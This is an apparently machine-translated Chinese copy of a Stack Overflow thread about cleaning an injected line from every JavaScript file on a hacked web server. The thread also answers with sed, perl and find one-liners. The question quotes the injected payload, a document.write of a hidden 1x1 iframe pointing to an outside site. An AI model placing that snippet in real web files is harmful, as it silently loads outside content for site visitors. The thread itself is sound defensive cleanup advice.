问题:
我的网络服务器最近遭到入侵。他们针对 javascript 文件。他们插入了以下片段
document.write('<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750" width="1" height="1" frameborder="0"></iframe>')
这被添加到服务器上每个 .js 文件的顶部。
解决方案:
编写一个脚本来打开我服务器上的每个 javascript 文件,检查恶意代码,删除恶意代码,最后保存文件。
问题:
脚本应该用什么编程语言编写? python 会工作吗?我在我的服务器上运行 python 2.4.3。如果我在 root 下运行 python 脚本,我是否需要担心不小心更改修改文件的所有者权限?
谢谢
最佳答案
sed -i '1d;' *.js
简单,将从每个 javascript 文件中删除第一行。
你可以在 python 中做得更彻底一点,但你说每个 *.js 文件中的第一行,不是吗?
更好的是,你可以考虑 perl
python 可以工作,但是 Python 灵魂不是乱码的快速单行代码 对于这样的事情,您需要一种快速无痛的单线。
perl -pi.bak -e 's/^document.*lcbmc.*\n//g' *.js
如果您在命令行运行它,它将匹配任何以 document 开头并包含 lcbmc 的行(包括\n--new 行)并完全删除该行。请注意,i.bak 会为所有内容创建一个备份文件 .bak。最好保留它,因为它可能会“搞砸”
然后运行
rm -v *.js.bak
更新
根据评论,我建议在 *.js 文件的目录中运行 perl 脚本,或者使用 find
find /startDir/ -iname '*.js' -exec perl -pi.bak -e 's/^document.*lcbmc.*\n//g' {} \;
这将:
1.如果你指定了正确的路径
2. 对找到的 ({}) 文件执行 perl 一行。
3.逃生; (\;) 用于将命令串在一起,
4. 所以它会执行
perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-1.js; perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-2.js
等等... 某些版本的 find support + 您可以在以下问题中观察其行为:find \; VS +
注意:您可以使用多个路径进行查找。
find /var/www/*.js /home/eric/.apache/*.js
将在/var/www/文件夹和 ~/.apache 文件夹中找到包含 *.js 文件的文件。
关于python - 修改服务器上文件内容的最佳脚本,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/6259521/